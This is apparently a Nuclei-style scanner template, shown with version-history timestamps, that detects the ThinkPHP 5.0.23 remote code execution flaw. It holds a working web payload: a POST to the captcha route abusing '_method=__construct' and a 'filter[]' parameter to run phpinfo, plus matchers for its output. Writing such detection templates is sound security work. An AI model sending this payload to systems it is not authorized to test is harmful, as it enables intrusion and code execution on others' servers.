2021-01-19 04:16:59 +00:00
|
|
|
id: thinkphp-5023-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ThinkPHP 5.0.23 RCE
|
|
|
|
author: dr_set
|
|
|
|
severity: critical
|
|
|
|
description: Thinkphp5 5.0(<5.0.24) Remote Code Execution.
|
2021-01-19 07:03:48 +00:00
|
|
|
reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5.0.23-rce
|
2021-01-19 04:16:59 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/index.php?s=captcha"
|
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
body: "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "PHP Extension"
|
|
|
|
- "PHP Version"
|
|
|
|
condition: and
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|